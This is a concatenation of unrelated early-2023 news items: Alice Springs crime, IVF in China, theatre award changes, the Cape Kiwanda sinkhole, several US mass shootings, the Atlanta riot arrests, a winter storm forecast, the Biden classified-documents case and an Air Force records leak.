Curtin University research released on Thursday has revealed that not only is Itokawa older than first thought  about 4.2 billion years, almost as old as the solar system itself  but its also more durable.
Minister for Indigenous Australians Linda Burney and high-profile Aboriginal senator Pat Dodson will join Prime Minister Anthony Albanese in Alice Springs on Tuesday following calls from local community leaders and the federal opposition for him to visit the crime-plagued town.

Assistant Minister for Indigenous Australians Malarndirri McCarthy is also visiting the Northern Territory centre, where dramatically rising crime rates and alcohol consumption are fuelling a social crisis locals say is the worst theyve seen in decades.

Albanese is expected to hold a press conference in Alice Springs on Tuesday afternoon alongside Northern Territory Chief Minister Natasha Fyles.

Government sources confirmed Burney, a leading campaigner for the Indigenous Voice to parliament, and Dodson, dubbed the father of reconciliation for his lifelong activism, would be with Albanese.

According to NT police statistics, property damage in Alice Springs rose 60 per cent in the year to November 2022, assault rose by 43 per cent, domestic violence-related assault rose by 53 per cent, and commercial break-ins by 55 per cent.
This is the single biggest challenge facing the country as it tries to reverse its falling birthrate. Young people complain about the financial burden of having children and their own economic uncertainty, and push back on traditional ideas about the womans role as a caretaker at home. Many have expressed a desire to focus on their careers, while others have embraced the double income, no kids lifestyle. Despite this hurdle, officials are trying to push up one of the lowest fertility rates in the world. While experts say it would be nearly impossible for the Chinese population to start growing again, the country could keep its birthrate steady. Making assisted reproductive technologies accessible to more people would help, just as it has helped in wealthier countries such as Denmark, said Ayo Wahlberg, an anthropologist at the University of Copenhagen. Loading The government recently promised to build at least one facility offering IVF for every 2.3 million to 3 million people by 2025. It currently has 539 medical institutions and 27 sperm banks that have been approved to carry out assisted reproductive technology. Each year these facilities provide more than 1 million cycles of IVF and other assisted fertility services. Around 300,000 babies are conceived. Experts say these efforts are meaningful ways to help couples who want to have children. If the country can scale up the services in an affordable way, it could even be a model for other countries facing similar challenges with infertility. But whether it will do much to change its demographic trajectory is another question.

The problem is that it is putting a Band-Aid on a gushing wound, said Wahlberg, the author of a book on fertility in China. For couples including Wang Fang and her husband, IVF changed their lives. Wang went through two rounds of IVF in 2016 before she gave birth to twins in 2017. Her husbands first marriage ended in divorce because they were unable to have a child. Guo Meiyan during an IVF transfer embryo procedure at Beijing Perfect Family Hospital in November. Credit: Andrea Verdelli/The New York Times Wang, a factory worker, and her husband, an electrician, quit their jobs during the pregnancy to prepare for the birth. When the first round of IVF failed, the couple felt broken. They learnt that they might need a sperm donor, something that Wang has kept a secret from the family. Her parents think the couples fertility issues were due to her.

In our hometown, if you dont have children, you would not be able to hold your head high, Wang said. The second time they did IVF, the 14-day waiting period to determine if it was successful felt like a half a century, she said. As soon as they learnt the outcome, they called everyone. Relatives offered to pitch in with their savings to help cover the costs, which exceeded $US22,000 ($31,000), a huge sum for the couple, whose monthly household income was less than $US1200 when Wang and her husband were working. IVF is not a one-time deal, and we ran out of our money after several big items, so we had to borrow money to continue, Wang said. If even some of those costs had been covered by medical insurance, as the government has said it will now start doing, it would certainly have helped us and relieved some pressure. Each round of IVF can cost $US5000 to $US12,000 and many couples need to do it as many as four or five times; each round has a success rate of roughly 30 per cent. Under the new government measures, medical insurance would likely cover about half the cost of a round of IVF, said Lin at Beijing Perfect Family Hospital. The policy has not been put into effect, its details are unclear and a deadly outbreak of COVID could delay things. Still, Lin is optimistic that some version of the policy will be put into place in the coming months.

But hes also realistic about its impact. It is certainly hard to expect much growth in our industry when the overall fertility rate and the willingness to have children are shrinking, Lin said. China has a complicated relationship with fertility. For three decades, officials restricted families to one child  sometimes through brutal measures. Su Yue and her son play on the balcony of their house in Beijing. Credit: Andrea Verdelli/The New York Times Today, infertility affects 18 per cent of couples, compared with a global average of around 15 per cent. Researchers cite several factors, including the fact that Chinese couples often wait until later to have children and the common use of abortions, which experts have said could affect fertility. Su Yue, 32, never had a strong desire to have a baby, but her husband and in-laws did. After the couple tried for several years, her mother-in-law gave them money to start IVF treatment. They were successful last year.

Su loves her son, whom she refers to affectionately as Cookie. But she said giving birth had cost her job. She had been breastfeeding while working remotely, but then her boss required her to come into the office. As a career-minded millennial, she laments having to resign. Loading The most stressful thing about IVF is that I lost my job, Su said. Since her transplant, which was successful, in late November, Guo has been taking it easy back at home in Zhangjiakou. The hot pot restaurant that she and her husband own has been busy during the current Lunar New Year period. She still helps out, and she has found time to knit two mattress quilts for the baby. Mostly, though, she tries to rest in bed, Guo said. I feel sick and dizzy all the time.
The awards will be presented on May 25.

( Outer Critics Circle)



The Outer Critics Circle, presenter of one of the precursor awards to the Tonys, will eliminate gender from its award categories, beginning with this season.

In addition, the organization will expand the remaining acting categories to separate performers in Broadway and off-Broadway productions. In the previous configuration, everyone had been considered together in the same categories.

The new configuration is as follows:

Outstanding Lead Performer in a Broadway Musical

Outstanding Featured Performer in a Broadway Musical

Outstanding Lead Performer in a Broadway Play

Outstanding Featured Performer in a Broadway Play

Outstanding Lead Performer in an Off-Broadway Musical

Outstanding Featured Performer in an Off-Broadway Musical

Outstanding Lead Performer in an Off-Broadway Play

Outstanding Featured Performer in an Off-Broadway Play

Outstanding Solo Performance (which is a pre-existing category)

"As the theater community continues to rebuild following the pandemic, the Outer Critics Circle must evolve, too. These changes will help us recognize the many talented actors both on and off-Broadway so we can reach the full potential of our mission, which is to celebrate the artistic excellence of New York's theater scene with integrity and inclusivity," Outer Critics Circle President and TheaterMania editor David Gordon stated on behalf of the OCC board of directors.

Founded during the 1949-50 Broadway season by respected theater journalist John Gassner, the Outer Critics Circle is an esteemed association with members affiliated with more than 90 newspapers, magazines, broadcast stations, and online news organizations, in America and abroad.

The 2023 Outer Critics Circle Awards will be presented on Thursday, May 25, at the Bruno Walter Auditorium at the New York Public Library for the Performing Arts.
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Cloudy skies with late-night snow showers. Low 32F. Winds NNW at 15 to 25 mph. Chance of snow 50%. Higher wind gusts possible..

Tonight

Cloudy skies with late-night snow showers. Low 32F. Winds NNW at 15 to 25 mph. Chance of snow 50%. Higher wind gusts possible.
N. Oregon Coast's Cape Kiwanda Develops Dangerous Sinkhole - Video

Published 01/24/23 at 5:50 AM

By Oregon Coast Beach Connection staff

(Pacific City, Oregon)  A sizable sink hole is opening up on one of the Oregon coast's biggest attractions: Cape Kiwanda may be showing signs of wear and tear. (Photo Oregon State Parks, showing the sinkhole just before it got bigger)

Oregon State Parks and Recreation (OPRD) announced Monday that a 20-foot-wide sink hole has started in a portion of sand in the lower northwest corner of the structure, reaching 15 feet deep. Park staff responded rather quickly and set up a visible warning barrier around it.

We ask that visitors respect this barrier and all park safety barriers, OPRD said in a release. Also, please keep pets on leashes and children away from the edges.

Park Manager Jason Elkins said the cape is a very dynamic place, and you should be aware of your surroundings here. Elkins said to stay clear of dangerous and that certainly includes this one, which is kind of a wild card to state park authorities. They're not sure what's going to happen here next.

While most damage to the cape occurs because of harsh weather, this sinkhole is something new.

Elkins said people are going to be curious and will want to see this for themselves, especially now that it's gotten so much media coverage.

In fact, Oregon Coast Beach Connection suggests to stay much farther away than where the barriers are currently placed. Cape Kiwanda has become increasingly unstable in recent years, with one very large chunk in the northern section falling apart just within the last two years.



Photo OPRD

OPRD noted in a press release that Kiwanda is an outlier on the Oregon coast, in the geologic category sense. It's not made of basalt like most of the headlands on the northern half of the region. Those take sometimes hundreds or thousands of years to wear down or cut through.

Cape Kiwanda is made of a much softer sandstone, which erodes much more easily, say regional geologsts. See Cape Kiwanda geology.

It's actually made of a slightly harder mix of sandstone than Jump-Off Joe in Newport, about an hour to the south. Jump-Off Joe began crumbling even more heavily two years ago and is now considered unsafe. Sadly, this could become the future for parts of Cape Kiwanda, and maybe all of it someday.

While any natural area carries risk, enjoying Cape Kiwanda safely requires visitors to pay special attention, OPRD said.

The agency said this hole could open up at any minute  and in fact others could appear.

Even though the spot is marked with barriers, this hole could change at any moment, and others could appear. If you see something that concerns you, leave the area and report it to Cape Lookout State Park staff at 503-842-4981. In an emergency, call 911.

OPRD will be examining the area closely in the next few days and is hoping to find the cause.





You can see how drastically the cape changed just in 16 years by the photo of Duck Bill Rock above and the giant ape face back in 2000, then below how they looked in 2016 (just before Duck Bill was vandalized).

The rate that Cape Kiwanda is eroding has likely increased over the centuries, and that certainly seems the case now. Yet regional geologists, like Ernest Lund back in the '70s, say that it should've eroded thousands of years ago, but Haystack Rock has actually protected it from fiercer winter wave action. See Just What is Cape Kiwanda on Oregon's Coast? And Why It's Falling Apart

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Andre' GW Hagestedt is editor, owner and primary photographer / videographer of Oregon Coast Beach Connection, an online publication that sees over 1 million pageviews per month. He is also author of several books about the coast.

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2 Students Killed, 1 Adult Injured in Des Moines Shooting: Police

Three suspects were arrested on Monday after two students were killed and an adult employee was injured in what police said was a targeted shooting at a Des Moines school for at-risk youth.

According to police, emergency crews were dispatched to Starts Right Here, an alternative school associated with the Des Moines school district, located in a business park just before 1 p.m. Upon arrival, officers discovered two students suffering from critical injuries and immediately began administering CPR.

Both students died after being transported to a hospital, according to police. An adult employee of the school also sustained injuries and is currently in serious condition and was expected to undergo surgery on Monday afternoon.

Police did not reveal the ages of the deceased students.

Officers apprehended a vehicle matching the descriptions provided by witnesses about 20 minutes after the shooting. The car was traced to an apartment located approximately two miles away. According to police, one of the suspects attempted to flee on foot but was apprehended using a K-9 unit and taken into custody, along with the other two suspects.

The incident was definitely targeted. It was not random. There was nothing random about this, Sgt. Paul Parizek told reporters.

The shooters motives are unknown, but Parizek said police were investigating. He noted that often were all left wondering [about the motive].

And even if we did find the motive, its not going to make any sense to anybody, he added.

Starts Right Here

Starts Right Here is a program that aims to inspire and motivate youth in Des Moines Public Schools who are deemed at risk. The program was started by rapper Will Holmes, whose stage name is Will Keeps.

According to the programs website, Holmes has used songs to send messages about violence in Iowa. Wake Up Iowa, one of his songs, sends a message to people that violence and hate are not the Iowa way, and instead, we need to learn from other cities mistakes, so we dont end up being ravaged by violence and crime.

The Epoch Times contacted Holmes for comment.

The Starts Right Here website states that the program serves primarily minority students, with 70 percent of its student population being minorities, and that it has had 28 graduates since its inception. The school district reported that the program serves 4050 students at any given time.

These are supposed to be our safe spaces, and this school in particular, its one that the police department works very closely with, and the schools designed to pick up the slack and help kids who need help the most, Parizek said. The ones who arent getting the services that they need for a variety of different reasons.

The Des Moines school district addressed the shooting in a statement.

We are saddened to learn of another act of gun violence, especially one that impacts an organization that works closely with some of our students, the statement read. We are still waiting to learn more details, but our thoughts are with any victims of this incident and their families and friends.

Additionally, the district reported that no district employees were present at the school during the time of the shooting.

Gov. Kim Reynolds, who is part of an advisory board for Starts Right Here, said she was shocked and saddened to hear about the shooting.

Ive seen first-hand how hard Will Keeps and his staff works to help at-risk kids through this alternative education program, Reynolds said in a statement. My heart breaks for them, these kids and their families. Kevin and I are praying for their safe recovery.

The Associated Press contributed to this report.
2 Victims of Monterey Park Shooting Identified, Death Toll Rises to 11

The Lai Lai Ballroom and Studio near the site of a deadly shooting in Alhambra, Calif., on Jan. 22, 2023. 10 people were killed and 10 more were injured at a dance studio in Monterey Park near a Lunar New Year celebration on Saturday night. (Eric Thayer/Getty Images)

The Los Angeles County Coroners Office on Monday released the names of two victims in the Monterey Park mass shooting, which has seen the death toll rise to 11, with nine others injured.

The coroner identified two victims as Mymy Nhan, a 65-year-old woman, and Li Lilan, a 63-year-old woman. The identities of the remaining victims, who range in age from their 50s to 70s, have yet to be released.

Of the people killed whose names havent been released, two were women in their 60s, and one was in her 50s. There were also three men in their 70s, and two in their 60s.

Nhans family said her death was still sinking in.

She spent so many years going to the dance studio in Monterey Park on weekends. Its what she loved to do. But unfairly, Saturday was her last dance, the family said in a statement. We are starting the Lunar New Year broken. We never imagined her life would end so suddenly. Sunday marked the start of the Lunar New Year.

Nhans family described her as having a warm smile and said her kindness was contagious.

She was a loving aunt, sister, daughter, and friend. Mymy was our biggest cheerleader, the statement added. Thank you for all your thoughts and prayers. We appreciate the support of our neighbors and community.

Dance Studios Under Fire

The suspected gunman, 72-year-old Huu Can Tran, opened fire at the Star Ballroom Dance Studio in Monterey Park at around 10 p.m. local time on Saturday, according to police. A witness said that Tran entered while they were dancing and opened fire; he left the building to get more ammunition before returning and continuing to fire.

Tran allegedly attempted to carry out another shooting at a separate dance club in Alhambra around 20 minutes later after leaving the Star Ballroom Dance Studio. But police said the halls owner Brandon Tsay disarmed Tran and he ran off.

This combination image created using photos provided by the Los Angeles County Sheriffs Department shows a male suspect allegedly involved in a shooting in Monterey Park, Calif., on Jan. 21, 2023. Authorities have identified the suspect as 72-year-old Huu Can Tran. (Los Angeles County Sheriffs Department via AP)

After an overnight search, police cornered his white van in a Torrance parking lot on Sunday morning, where he took his own life with a gun before they could get to him. A video shared online showed the moment that police swarmed the vehicle. A handgun and evidence linked to the two dance club shootings were also recovered at the scene.

The suspects motive is unclear, but a prominent member of the local community has suggested that the incident may be connected to a domestic dispute. Chester Chong, a leader in the Chinese Chamber of Commerce, told ABC7 that the suspects wife had been invited to an event at the dance studio without him, leading Chong to speculate that jealousy may have played a role in the tragedy.

Death Toll Climbs

Initially, 10 people were reported to have died on the scene and 10 more were injured.

On Monday, a hospital treating four of the wounded, L.A. County-USC Medical Center (LAC+USC), confirmed that another victim had died, bringing the death toll to 11.

Unfortunately, despite our best efforts, we are saddened to share that one of the victims has succumbed to their extensive injuries. We want to express our deepest sympathies to their families and loved ones, said LAC+USC chief executive Jorge Orozco in a statement.

He stated that three more victims are still receiving medical treatment at the hospital, with one of them in a serious condition, while the remaining two are recovering.

LA County Sheriff Robert Luna said on Monday that 42 shell casings were recovered from the studio as well as a large-capacity ammunition magazine.

Investigators also confiscated a rifle and various electronic devices from the suspects mobile home in a gated senior living community in the town of Hamet, about 80 miles east of Los Angeles, Luna said.

Luna said that the discovery and seizure of hundreds of rounds of ammunition from the dwelling led investigators to believe Tran was manufacturing homemade weapons silencers.

Reuters contributed to this report.
Yellowstone County commissioners have selected a new representative to fill the seat for House District 50 in central Billings.

The seat was left vacant last week after Republican Rep. Mallerie Stromswold announced her resignation, citing her mental health and the at-times punishing environment of the legislative session.

In her place, commissioners appointed Naarah N. Hastings, a Billings businesswoman, who owns Proof Donuts with her husband, and a competitive Brazilian Jiu Jitso fighter. This will be her first time serving in office in Montana.

Hastings' name, along with Billings attorney Anthony Nicastro and former commissioner Denis Pitman, were submitted to commissioners last week by the Yellowstone County Republican Central Committee.

Pitman is one month off the county commission; he lost his seat last year to challenger Mark Morse, who along with commissioners John Ostlund and Don Jones, voted to have Hastings fill the seat for House District 50.

Morse, Ostlund and Jones heard from the three candidates at their meeting on Monday, where they then selected Hastings. She will complete Stromswold term in office and serve through the end of the current legislative session, which ends in April.
20 States, From New Mexico to Maine, Could See Snow Due to Powerful Storm in Rockies

Brittany Tappen stands next to her vehicle, one of several that were stranded by ice and snow on the northbound off ramp from I-25 to Baptist Road during the morning commute north of Colorado Springs, Colo., on Nov. 11, 2015. The storm system that dropped a foot of snow in the Rockies was making travel hazardous as it headed east on Wednesday, menacing the Plains with heavy snow and threatening turbulent weather, even tornadoes, in parts of the Midwest. (Mark Reis/The Gazette via AP)

A powerful storm that has developed in the Rockies could bring snow to more than 20 states.

Through midweek, the storm will bring a number of weather threats to the central and southern United States. According to AccuWeather analysts, the sizable system that intensified as it moved across the Rocky Mountains will leave a trail of heavy snow in its wake, reaching as far south as northern Texas.

AccuWeather Senior Meteorologist Alyson Hoegg told The Epoch Times that the primary concern is that, as the storm begins to intensify early on Jan. 24 and moves across Texas and through the mid-Mississippi Valley, the heavy snowfall rates could cause dangerous conditions. Hoegg said the snow rates over a narrow corridor from North Texas and portions of Oklahoma will stretch up to the Indianapolis area and through Ohio. This snowfall could intensify to one to two inches per hour and might cause travel hazards.

During the day Jan. 24, the snow will be seen from the Texas panhandle up through central local Oklahoma for the evening commute  anyone out and about traveling [will experience] reduced visibility, Hoegg said. Snow will quickly accumulate on roads making them slippery and dangerous to travel on. So thats definitely, again, a concern in that corridor.

By the time you get into [Jan. 25], in the morning were looking at again these heavy snowfall rates stretching from near the St. Louis area up through Indianapolis and up into Southeastern Michigan, and northwest Ohio as well.

Where the Storm is Headed

The storm is expected to start to draw in moisture from the Gulf of Mexico as it moves across the southern and central parts of the United States. Even some regions that dont experience excessive winter weather could see snowfall totals of up to 6 inches. For instance, Oklahoma City only receives an average of 6.7 inches on average each year. But this storm system could bring the equivalent of that average to the city in just 12 to 24 hours, according to AccuWeathers forecast.

The Dallas-Fort Worth metroplex will likely experience mostly rain from the storm farther south, while its possible that some snowflakes will mix in later on Jan. 24. As snow accumulates and visibility is considerably diminished, travel will become challenging. Even a light coating on highways can create slippery conditions, significantly impeding movement in addition to impaired visibility.

Due to the wet, heavy snow, power disruptions may also be a problem in the area. Power lines and tree limbs that dangle above power wires can both be weighed down by heavier, stickier snow. The snows weight could cause these branches to snap, possibly falling on the power lines. This snow is also heavier to shovel.

The other concern [is] on the southern side of this storm, while were not expecting snow all the way down to the Gulf Coast, we are expecting severe weather. So places from central Texas during the day [Jan. 24] all the way out along the Gulf Coast through the Houston Metro area over to New Orleans and out into the far western Florida panhandle, were concerned about severe weather and we expect a line of severe thunderstorms to develop during the day [Jan. 24], and these will produce damaging wind, Hoegg said. There can be isolated tornadoes.

So its not just snow with this storm, but severe weather along the Gulf Coast is also a concern.

Additional Concerns as Snow Fall Increases

Forecasters also said that as the storm moves toward the Ohio Valley, the situation becomes a little more complicated. A storm with this much energy can be sent farther north or south by little adjustments in the jet stream, which would significantly affect the amount of snowfall. On the southeastern edge of the storm, drizzle or rain can be anticipated, which could reduce the amount of snow that falls.

The biggest possibility for heavy snow is currently in the region from Springfield, Missouri, all the way up to northern Maine and Atlantic Canada, according to AccuWeather meteorologists.

Several large cities, including St. Louis, Chicago, and Detroit, could experience disruptive snow as the storm moves toward the northeast, according to AccuWeather. While the precise snowfall totals for these cities are still uncertain, there is no reason to worry that a protracted period of mixed precipitation will reduce their snowfall totals because they are on the cooler northwestern side of the storm track.

More snow may fall in the interior and possibly even closer to the Interstate 95 corridor once the storm moves towards the Northeast. Although nothing is definitive at this time, it appears that New York City and Philadelphia will continue to experience a lack of snow.

The AccuWeather meteorologist also cited concern for those tasked with removing snow, due to it being a heavy, wet snowfall.

So the other hazard were concerned about is shoveling, Hoegg said. People out and about, or getting out and shoveling. Its going to take some effort to shovel the snow off of sidewalks and driveways.
6 People Arrested in Atlanta Riots Identified, Charged With Domestic Terrorism

Most are from out of state

Identities of the suspects arrested on Jan. 21 after riot in downtown Atlanta, Ga., per the Atlanta Police Department. (Atlanta Police Department)

Police have charged the six suspects they arrested late on Jan. 21 at a riot in downtown Atlanta with multiple charges, including domestic terrorism.

None of the six suspects were from Atlanta, and five of them were from out of state.

The names of the suspects charged in connection with the riot, released by the Atlanta Police Department, are:

Nadja Geier, 24, from Nashville, Tennessee

Madeleine Feola, 22, from Spokane, Washington

Ivan Ferguson, 23, from Nevada

Graham Evatt, 20, from Decatur, Georgia

Francis Carrol, 22, from Kennebunkport, Maine

Emily Murphy, 37, from Grosse Isle, Michigan

All six suspects were each charged with four misdemeanors and four felonies, which were:

Pedestrian in Roadway (Misdemeanor)

Willful Obstruction of a Law Enforcement Officer (Misdemeanor)

Riot (Misdemeanor)

Unlawful Assembly (Misdemeanor)

Criminal Damage to Property 2nd Degree (Felony)

Arson 1st Degree (Felony)

Interference with Government Property (Felony)

Domestic Terrorism (Felony)

The protest that took place on Jan. 21 in downtown Atlanta started peacefully but suddenly escalated to violence, with some groups of protesters-turned-rioters wearing masks and dressed in all black seen throwing rocks and lighting fireworks in front of the skyscraper that houses the Atlanta Police Foundation, shattering large glass windows. They also set at least one police car on fire, as well as smashed the windows of other businesses with rocks and hammers, and vandalized walls with anti-police graffiti.

A law enforcement vehicle is seen lit on fire during demonstrations related to the death of Manuel Teran who was killed during a police raid inside Weelaunee Peoples Park, the planned site of a controversial Cop City project, in Atlanta, Georgia, on Jan. 21, 2023. (Cheney Orr/Reuters)

A burned police car sits on the street following a riot in Atlanta, Ga., on Jan. 21, 2023. (AP Photo/Alex Slitz)

At a press conference on Jan. 21, Atlanta Mayor Andre Dickens told reporters that some among the six arrested were found with explosives on them  and that has led to a police officers car being set on fire, and other destruction has occurred.

Atlanta Police Chief Darin Schierbaum strongly condemned the violence and said that police could tell even early in their probe into riot that this was not the focus  just to damage the windows of three buildings and set a police car on fire [tonight], adding, The intent was to continue to do harm.

Schierbaum said that protests had started peacefully marching in the city around 5 p.m., until some rioters started smashing property. Order was restored by around 7 p.m., police said. The ATF and FBI are helping with the investigation.

Georgia Gov. Brian Kemp also denounced the riot. Violence and unlawful destruction of property are not acts of protest, he wrote on Twitter. They are crimes that will not be tolerated in Georgia and will be prosecuted fully.

Broken windows at a Wells Fargo branch are seen following a violent protest, in Atlanta, on Jan. 21, 2023. (AP Photo/Alex Slitz)

Anger at Police

The protest that day was in response to the death of 26-year-old Manuel Teran, of Tallahasse, Florida, who was killed by police during a confrontation on Jan. 18. Police said they had shot him in self-defense and that Teran had fired at them first and injured a state trooper. The state trooper was stable and in hospital as of Jan. 19, according to reports.

The Jan. 21 protest-turned-riot was also held in general opposition to plans to construct a $90 million training center for police and first responders in a wooded area of DeKalb County on the citys southern outskirts.

Prior to his death, Teran was protesting at an occupation at the construction site of the training center. Teran was linked to the group Defend the Atlanta Forest (DAF), whose members have derided the planned Atlanta Public Safety Training Center as Cop City. The activist group are opposed to law enforcement and are also against development in the forest.

Various groups at the occupation south of Atlanta, which include DAF, appear to be left-leaning. They have called their campaign Stop Cop City.

Protests have been taking place against the construction site of the training center since 2022, and have in recent months become more unruly. In December 2022, the Georgia Bureau of Investigation (GBI) arrested and charged a separate five people with domestic terrorism. It said the arrests of the five came after several people threw rocks at police cars and attacked EMTs with rocks and bottles outside local fire stations, adding that police found explosive devices, gasoline, and road flares in the area.

The GBI had noted that over the past several months prior to the December 2022 arrests, law enforcement has made several arrests for ongoing criminal activity at the site, including carjacking, various crimes against persons, destruction of property, arson, and attacks against public safety officials.
7 Dead, 1 Injured After Shootings in Northern California Community, Suspect in Custody

Latest killings come just days after mass shooting in Monterey Park

Seven people were killed and one person was seriously injured following two shootings on Monday in separate locations at a coastal community in Northern California, according to police.

San Mateo County Board of Supervisors President Dave Pine said four people were killed at a mushroom farm, and three others were killed at a trucking business.

State Sen. Josh Becker, who represents the area, said the separate shootings took place on the outskirts of Half Moon Bay, which is a city located about 30 miles (49 km) south of San Francisco.

A man, who is a suspect in the killings, is in custody, the San Mateo County Sheriffs Office wrote on Twitter just before 5 p.m. local time, adding that there is no ongoing threat to the community.

They later identified the suspect as Zhao Chunli, 67, of Half Moon Bay. He was taken into police custody without incident after he was found in his vehicle in the parking lot of the sheriffs substation.

Police said they found a semi-automatic handgun in his vehicle.

At a news conference late Monday, police said they responded to a report of a shooting around 2:20 p.m. local time. They found four dead victims with gunshot wounds at the Magic Mushroom Farm. One more person was taken to the hospital with serious gunshot injuries, police told reporters.

Police found three more dead victims at a trucking business on Cabrillo Highway S./Highway 1, which is south of the mushroom farm.

Pine said in a statement on behalf of the San Mateo County Board of Supervisors: We are sickened by todays tragedy in Half Moon Bay. We have not even had time to grieve for those lost in the terrible shooting in Monterey Park. Gun violence must stop.

He was referring to a shooting in Monterey Park, in Southern California, which resulted in the deaths of at least 11 people. The shooting took place late on Jan. 21 at Star Dance Studio, a ballroom dance hall. The suspect, Huu Can Tran, 72, was found dead the following day due to a self-inflicted gunshot wound in a van in Torrance.

California Gov. Gavin Newsom wrote on Twitter that he was at the hospital meeting with victims of a mass shooting when I get pulled away to be briefed about another shooting. This time in Half Moon Bay. Tragedy upon tragedy.

The Associated Press contributed to this report.
A woodcutter who built his own hobbit house has revealed hes never watched Lord of the Rings but nevertheless lives in it almost off-grid despite being nearly 90.

Great-grandad Stuart Grant, 89, has split his time between the United Kingdom and Australia since 1959. In 1984, he moved into a 200-year-old cottage that he bought as a wreck with no roof and no doors, in Tomich near Inverness, Scotland. He originally planned to live in it while he was renovating a larger house.

After starting work on it, however, Grant made a year-long trip to Australia and thus worked on the house in slow motion.

The first thing Grant did was attach a roof and doorshe wanted to live comfortably in the little bungalow while doing up the main house.

However, he found doing DIY on the quirky outbuilding so satisfying that he decided to make the three-bedroom, rustic pad his home.

Sharing more about the cottage, Grant said that before he moved in, it had been a shoemakers cottage and also a croft and there were cows, calves, chickens, and even a donkey living there.

Its not a fancy househe cut the wood himself from fallen trees, collected stones from the river for the stonework, and used other peoples leftover building materials to construct the cottage.

It took quite a few years, I never counted it. I just enjoyed doing it so much, said Grant, who doesnt know how much the project cost him. I got carried away.

Grant admits that he has never watched The Lord of the Rings but coincidentally his front door is round and constructed of oak, just like the door belonging to Frodo Baggins.

There are stained glass windows on each side of it, he said.

Hes lived in the cottage for almost 40 years nowbut has recently been inundated with The Lord of the Rings fans after his home was posted on a website recommending places to visit in North Scotland.

He doesnt have a mobile phone or use the internet and no longer drives due to his age, but he loves getting out and meeting people.

For Grant doing creative and innovative projects such as this helps keep him young.

You get a real buzz out of doing interesting stuff, Grant said. I have just always been an inventor and a designer.

Even as a young boy, he recalled that his mother said he would always keep scribbling.

People think Im clever because I do original things, but theyve not tried, Grant said.

Although he is going to be 90 soon, Grant said he feels like a teenager.

People cant believe Im 90, Grant said. Ive traveled the world, it is all just a great adventure.

Grant believes that he can start with a seed but end up with a house.

For him work is a great therapy.

Epoch Times Staff contributed to this report.

Share your stories with us at emg.inspired@epochtimes.com, and continue to get your daily dose of inspiration by signing up for the Inspired newsletter at TheEpochTimes.com/newsletter
AG Merrick Garland Says No Double Standard of Justice in Biden Classified Docs Case

Attorney General Merrick Garland said Monday that his agency hasnt used a double standard when investigating President Joe Bidens classified case.

Former President Donald Trump and some Republicans have said the Department of Justice has treated Biden more leniently than the former commander-in-chief, whose house was raided by FBI agents in August. Those agents found materials with classified markings, the Justice Department has said.

We do not have different rules for Democrats or Republicans, different rules for the powerful or the powerless, different rules for the rich and for the poor, we apply the facts, and the law in each case in a neutral, non-partisan manner, Garland told reporters during a roundtable on Monday. That is what we always do.

When asked if he has any regrets regarding how the agency handled the two cases, Garland said that the DOJ should make decisions in a nonpartisan and neutral way without regard to who the subjects are. He added, That is what weve done in each of these cases. And that is what well continue to do.

Late last week, FBI agents discovered more classified documents at Bidens home in Wilmington, Delaware, according to a DOJ prosecutor and the presidents personal lawyer. That discovery was the fourth time since November that classified documents were found in Bidens possession, although his lawyers did not reveal their existence until earlier this month.

Joseph D. Fitzpatrick, assistant U.S. Attorney for the Northern District of Illinois, told news outlets over the weekend: I can confirm that the FBI on Friday executed a planned, consensual search of the Presidents residence in Wilmington, Delaware.

Some of the documents and other materials were dated from Bidens time when he was a senator representing Delaware from 1973 until 2009, said his lawyer, Bob Bauer, in a statement to news outlets. Other materials were from when he was vice president between 2009 and 2017, he said.

President Joe Biden speaks at Seacliff State Park in Aptos, Calif., on Jan 19, 2023, after seeing storm damage caused by the recent storms. (Susan Walsh/AP Photo)

Bauer stated that he allowed FBI agents to search his the entire premises for potential vice-presidential records and potential classified material. Biden and his wife, Jill, werent there, he added.

DOJ took possession of materials it deemed within the scope of its inquiry, including six items consisting of documents with classification markings and surrounding materials, some of which were from the Presidents service in the Senate and some of which were from his tenure as Vice President, Bauer said, adding federal agents also took for further review personally handwritten notes from the vice-presidential years.

With the latest finding, an increasing number of congressional Democrats have expressed reservations about how the White House is handling the case and want a full investigation. And Republicans in the House have, on a daily basis, sent letters to various federal agencies and officials demanding information and records about the documents.

Leading the way, new House Oversight Chairman James Comer (R-Ky.) sent (pdf) a letter on Monday asking Secret Service Director Kimberly Cheatle for all internal documents, communications, and other materials relating to Bidens Delaware home.

Sen. Joe Manchin (D-W.Va.), speaking on NBCs Meet the Press, told the outlet that the president should have a lot of regrets on how he handled classified documents. Whoevers responsible  I mean, if I hold people accountablewhether it be my chief of staff or, you know, my staff that were doing this and Im looking at  then Im going to hold someone accountable, but basically, the buck stops with me, Manchin said.

But late last week, Biden said he believes he did nothing wrong.

I think youre gonna find theres nothing there, Biden told reporters while surveying flood damage in California. I have no regrets. Im following what the lawyers have told me they want me to do. Its exactly what were doing. Theres no there there.

I will answer the question but heres the deal. You know, what quite frankly bugs me is that we have a serious problem here were talking about, were talking about whats going on. And the American people dont quite understand why you dont ask me questions about that, he said.

Earlier this month, Garland announced that he had a special counsel, Robert Hur, to handle the Biden classified documents case.
Air Force Accepts Blame for Leaking Indiana Republicans Personal Info Right Before Election

Jennifer-Ruth Green, an Air Force veteran, won the Republican primary for Indiana's 1st Congressional District. She will face Democratic Rep. Frank Mrvan in the general election in November. (Courtesy of Green's campaign)

The U.S. Air Force (USAF) has admitted to illegally leaking 2022 congressional candidate Jennifer-Ruth Greens private information about a sexual assault Green faced while in the military, a leak that came just before the midterm election.

In October 2022, the USAF told The Epoch Times that preliminary findings indicated that information from Jennifer-Ruth Greens service record was released to a third party by a junior individual who didnt follow proper procedures and obtain required consent, USAF Chief of Media Operations Ann Stefanek said in an email.

The Department of the Air Force takes its responsibility to safeguard private information seriously and the matter remains under investigation, Stefanek added.

After the unknown party obtained the documents, they were handed over to Politico, which published a story about Greens sexual assault.

Specifically, Politico published Greens Officer Performance Report (OPR), a document that federal guidelines do not permit to be made public without the consent of the person in question. Politico claimed that the documents had been obtained through a public records request.

Politico did not respond to a request for comment.

Under existing guidelines, people may obtain the military records of another person, but only under relatively strict parameters.

By filling out a Standard Form 180 (SF-180), the next of kin of military veterans, which archives.gov describes as the un-remarried widow or widower, son, daughter, father, mother, brother or sister of the  veteran is permitted to retrieve the documents of their father, mother, or spouse who served in the military.

However, this is only permissible without the veterans consent if the veteran in question has passed away.

Archives.gov emphasizes that to retrieve records through an SF-180, Next-of-kin must provide proof of death of the veteran, such as a copy of the death certificate, a letter from the funeral home or a published obituary.

In cases where the veteran is still alive, they must give express consent to allow these documents to be made public.

